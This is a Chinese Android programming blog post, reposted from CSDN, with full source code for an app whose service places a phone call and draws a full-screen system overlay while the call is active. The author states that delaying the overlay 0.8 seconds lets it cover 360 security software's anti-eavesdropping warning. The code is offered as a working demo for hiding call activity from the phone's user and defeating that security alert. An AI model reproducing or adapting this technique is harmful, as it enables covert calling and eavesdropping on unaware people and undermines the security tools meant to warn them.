码迷,mamicode.com
首页 > 其他好文 > 详细

360防窃听比上次写的更简洁方便使用

时间:2015-04-23 17:37:00      阅读:160      评论:0      收藏:0      [点我收藏+]

标签:通电遮挡   悬浮窗   

   思路:点击按钮,开启一个服务,在服务里直接调用打电话“10086”,在服务中监听电话状态,通话状态用遮挡物遮住,挂断则消失并停止该服务,如果想盖住360的防窃听,可以延迟0.8s在把遮盖物显示出来,就可以遮住。

demo下载地址 

   代码如下:http://download.csdn.net/detail/u012303938/8624721

 

  MainAcitivy.class

  

package com.example.testdemo;

import android.support.v4.app.Fragment;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.WindowManager;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.Window;
import android.widget.Button;
import android.widget.Toast;

public class MainActivity extends Activity {
Button button1;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
       // getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
        requestWindowFeature(Window.FEATURE_NO_TITLE);
        setContentView(R.layout.activity_main);
        Tappliacation.add(this);
        button1=(Button) findViewById(R.id.button1);
        button1.setOnClickListener(new OnClickListener() {
			
			@Override
			public void onClick(View arg0) {
				// TODO Auto-generated method stub
				Intent intent=new Intent(MainActivity.this,MyServeice.class);
				
				startService(intent);
//				Intent intent=new Intent(MainActivity.this,MainActivity.class);
//				startActivity(intent);
			}
		});
    }


    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }

  
    
    

}
 

MyService.class

package com.example.testdemo;


import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.view.WindowManager;

public class MyServeice extends Service{
	View view;
	@Override
	public IBinder onBind(Intent arg0) {
		// TODO Auto-generated method stub
		return null;
	}
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		view=View.inflate(this, R.layout.list, null);
		listionpho();
		Intent intent = new Intent(Intent.ACTION_CALL,Uri.parse("tel:"+"10086"));
		intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
		intent.putExtra("num", "10086");
		startActivity(intent);
		
		
	}@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		// TODO Auto-generated method stub
		
//		Intent intents=new Intent(MyServeice.this,MainActivity.class);
//		intents.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//		startActivity(intents);
		
		return super.onStartCommand(intent, flags, startId);
	}
	private void show() {
		// TODO Auto-generated method stub
		WindowManager manager=(WindowManager) getSystemService(WINDOW_SERVICE);
		WindowManager.LayoutParams params = new WindowManager.LayoutParams();

		params.type =  WindowManager.LayoutParams.TYPE_SYSTEM_ERROR ; 


		int screenWidth = WindowManager.LayoutParams.MATCH_PARENT;

		int screenHeigh = 800;
		// 设置行为选项  
		params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL  
				| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
				| WindowManager.LayoutParams.TYPE_STATUS_BAR; 
	params.gravity=Gravity.TOP;
		params.y=20;
		params.width = WindowManager.LayoutParams.FILL_PARENT;
		params.height = screenHeigh;
		//设置显示初始位置 屏幕左上角为原点
		
		// topWindow显示到最顶部
		manager.addView(view, params);
	}
	private void listionpho() {
		// TODO Auto-generated method stub
		TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);  

		PhoneStateListener listener=new PhoneStateListener(){

			@Override
			public void onCallStateChanged(int state, String incomingNumber) {
				// TODO Auto-generated method stub
				switch (state) {
				case  TelephonyManager.CALL_STATE_IDLE: 
					
              
					 if (view != null && view.isShown()) {
						WindowManager windowManager = (WindowManager) getApplicationContext()
								.getSystemService(WINDOW_SERVICE);
						windowManager.removeView(view);
						
						Log.i("test", "停止该服务");
						stopSelf();
					 }
					 
						// manager=null;
				
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK: 
					//manager.removeView(view);
					//显示悬浮窗
					show();
					break;

				default:
					break;
				}
			}
		};
		telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
	}
}


 

360防窃听比上次写的更简洁方便使用

标签:通电遮挡   悬浮窗   

原文地址:http://blog.csdn.net/u012303938/article/details/45223169

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!